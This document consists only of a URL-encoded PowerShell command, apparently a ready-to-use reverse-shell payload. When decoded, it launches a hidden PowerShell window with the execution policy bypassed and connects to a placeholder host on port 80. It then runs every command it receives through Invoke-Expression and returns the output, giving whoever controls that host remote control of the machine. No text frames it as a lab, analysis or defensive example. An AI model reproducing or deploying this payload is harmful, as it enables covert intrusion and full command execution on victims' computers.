powershell%20-nop%20-W%20hidden%20-noni%20-ep%20bypass%20-c%20%22%24TCPClient%20%3D%20New-Object%20Net.Sockets.TCPClient('0.0.0.0'%2C%2080)%3B%24NetworkStream%20%3D%20%24TCPClient.GetStream()%3B%24StreamWriter%20%3D%20New-Object%20IO.StreamWriter(%24NetworkStream)%3Bfunction%20WriteToStream%20(%24String)%20%7B%5Bbyte%5B%5D%5D%24script%3ABuffer%20%3D%200..%24TCPClient.ReceiveBufferSize%20%7C%20%25%20%7B0%7D%3B%24StreamWriter.Write(%24String%20%2B%20'SHELL%26gt%3B%20')%3B%24StreamWriter.Flush()%7DWriteToStream%20''%3Bwhile((%24BytesRead%20%3D%20%24NetworkStream.Read(%24Buffer%2C%200%2C%20%24Buffer.Length))%20-gt%200)%20%7B%24Command%20%3D%20(%5Btext.encoding%5D%3A%3AUTF8).GetString(%24Buffer%2C%200%2C%20%24BytesRead%20-%201)%3B%24Output%20%3D%20try%20%7BInvoke-Expression%20%24Command%202%26gt%3B%26amp%3B1%20%7C%20Out-String%7D%20catch%20%7B%24_%20%7C%20Out-String%7DWriteToStream%20(%24Output)%7D%24StreamWriter.Close()%22